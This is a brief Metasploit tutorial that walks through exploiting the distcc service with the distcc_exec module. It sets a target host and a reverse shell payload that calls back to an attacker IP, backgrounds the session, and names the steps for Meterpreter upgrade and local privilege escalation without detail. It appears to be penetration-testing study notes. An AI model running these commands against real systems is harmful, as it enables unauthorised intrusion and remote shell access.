Local Exploit Suggester
This will explain how we can use the Local Exploit Suggester function in Metasploit.
Run msfconsole to start the Metasploit.
>msfconsoleSearch for an exploit
msf5 > search distccExecute the exploit
msf5 > use exploit/unix/misc/distcc_exec
msf5 exploit(unix/misc/distcc_exec) > options
msf5 exploit(unix/misc/distcc_exec) > set rhosts 10.10.0.50
msf5 exploit(unix/misc/distcc_exec) > set payload cmd/unix/reverse
msf5 exploit(unix/misc/distcc_exec) >set lhost 192.168.142.141
msf5 exploit(unix/misc/distcc_exec) >runBackground the session
# Ctrl+z
Background session 1? [y/N] yUpgrade the session to Meterpreter
Search local exploit # This is the most important part.
Run local exploit
Last updated